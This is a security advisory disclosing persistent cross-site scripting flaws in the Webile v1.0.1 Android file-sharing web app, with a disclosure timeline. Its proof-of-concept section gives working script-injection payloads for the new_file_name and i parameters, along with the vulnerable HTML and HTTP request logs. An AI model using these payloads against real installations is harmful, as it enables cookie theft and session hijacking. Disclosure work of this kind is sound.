Webile v1.0.1 – Multiple Cross Site Scripting
Exploit Title: Webile v1.0.1 - Multiple Cross Site Scripting References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2321 Release Date: ============= 2023-07-03 Vulnerability Laboratory ID (VL-ID): ==================================== 2321 Common Vulnerability Scoring System: ==================================== 5.5 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Webile, is a local area network cross-platform file management tool based on http protocol. Using the personal mobile phone as a server in the local area network, browsing mobile phone files, uploading files, downloading files, playing videos, browsing pictures, transmitting data, statistics files, displaying performance, etc. No need to connect to the Internet, you can browse files, send data, play videos and other functions through WiFi LAN or mobile phone hotspot, and no additional data traffic will be generated during data transmission. Support Mac, Windows, Linux, iOS, Android and other multi-platform operating systems. (Copy of the Homepage:https://play.google.com/store/apps/details?id=com.wifile.webile&hl=en&gl=US ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the Webile v1.0.1 Wifi mobile android web application. Affected Product(s): ==================== Product Owner: Webile Product: Webile v1.0.1 - (Framework) (Mobile Web-Application) Vulnerability Disclosure Timeline: ================================== 2022-10-11: Researcher Notification & Coordination (Security Researcher) 2022-10-12: Vendor Notification (Security Department) 2022-**-**: Vendor Response/Feedback (Security Department) 2022-**-**: Vendor Fix/Patch (Service Developer Team) 2022-**-**: Security Acknowledgements (Security Department) 2023-07-03: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ Multiple persistent input validation web vulnerabilities has been discoveredin the Webile v1.0.1 Wifi mobile android web application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent input validation web vulnerabilities are located in the send and add function. Remote attackers are able to inject own malicious script codes to the new_file_name and i parameter post method request to provoke a persistent execution of the malformed content. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Parameter(s): [+] new_file_name [+] i Proof of Concept (PoC): ======================= The persistent input validation web vulnerabilities can be exploited by remote attackers without user account and with low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Vulnerable Source: Send Send message to phone listing <div class="layui-colla-item"> <div class="layui-card-header">Message</div> <div class="layui-colla-content" style="display:block;padding-left:16px;"> <div class="layui-form-item layui-form-text" id="showMsg"><div><font color="blue">20:10:11</font><a href="javascript:;" title="Copy" onclick="copy(1658081411827)"><i class="iconfont"> </i></a><br> <span id="c_1658081411827">test2"<iimg src="https://www.exploit-db.com/exploits/51616/evil.source" onload="alert(document.cookie)"></iimg></span><br><br></div> </div></div></div> history logs messages <table class="layui-table layui-form"> <thead><tr> <th style="text-align: center;vertical-align: middle!important;border-left-width:1px;border-right-width:1px;height:32px;" width="2%" align="center"> <input type="checkbox" lay-filter="checkall" name="" lay-skin="primary"><div class="layui-unselect layui-form-checkbox" lay-skin="primary"><i class="layui-icon layui-icon-ok"></i></div></th> <th style="border-right-width:1px;">Message</th> <th style="text-align: center;vertical-align: middle!important;border-right-width:1px;" width="15%">Date</th> <th style="text-align: center;vertical-align: middle!important;border-right-width:1px;" width="3%" valign="center">Action</th></tr> </thead> <tbody><tr> <td style="text-align: center;vertical-align: middle!important;border-left-width:1px;min-height:180px;" align="center"> <input type="checkbox" name="id" value="3" lay-skin="primary"><div class="layui-unselect layui-form-checkbox" lay-skin="primary"><i class="layui-icon layui-icon-ok"></i></div> </td> <td style="height:32px;"> <span id="c_3">test2"<iimg src="https://www.exploit-db.com/exploits/51616/evil.source" onload="alert(document.cookie)"></iimg></span></td> <td align="center">2022/07/17 20:10</td> <td class="td-manage" style="border-right-width:1px;text-align:center;"> <a title="Copy" onclick="copy(3)" href="javascript:;"> <i class="iconfont"> </i> </a> <a title="Delete" onclick="deleteLog(this,3)" href="javascript:;"> <i class="layui-icon"> </i> </a></td></tr></tbody></table> --- PoC Session Logs #1 (POST) --- (Add) http://localhost:8080/file_action Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 210 Origin:http://localhost:8080 Connection: keep-alive Referer:http://localhost:8080/webile_files Cookie: treeview=0; sessionId=b21814d80862de9a06b7086cc737dae6 i={"action":"create","file_path":"/storage/emulated/0","new_file_name":"pwnd23>"<iimg src=evil.source onload=alert(document.cookie)></iimg>"} - POST: HTTP/1.1 200 OK Content-Type: application/json Connection: keep-alive Content-Encoding: gzip Transfer-Encoding: chunked - http://localhost:8080/evil.source Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Referer:http://localhost:8080/webile_files Cookie: treeview=0; sessionId=b21814d80862de9a06b7086cc737dae6 Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 200 OK Content-Type: application/octet-stream Connection: keep-alive Content-Length: 0 - Cookie: treeview=0; sessionId=b21814d80862de9a06b7086cc737dae6 --- PoC Session Logs #2 (POST) --- (Send) http://localhost:8080/send Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 180 Origin:http://localhost:8080 Connection: keep-alive Referer:http://localhost:8080/webile_send Cookie: treeview=0; sessionId=b21814d80862de9a06b7086cc737dae6 i={"os":"Windows Windows 10","b":"firefox 102.0","c":">"<iimg src=evil.source onload=alert(document.cookie)></iimg>"} - POST: HTTP/1.1 200 OK Content-Type: application/json Connection: keep-alive Content-Encoding: gzip Transfer-Encoding: chunked - http://localhost:8080/evil.source Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Referer:http://localhost:8080/webile_send Cookie: treeview=0; sessionId=b21814d80862de9a06b7086cc737dae6 Upgrade-Insecure-Requests: 1 - GET: HTTP/1.1 200 OK Content-Type: application/octet-stream Date: Sun, 17 Jul 2022 18:08:33 GMT Connection: keep-alive Content-Length: 0 Security Risk: ============== The security risk of the persistent web vulnerabilities in the mobile web application is estimated as medium. |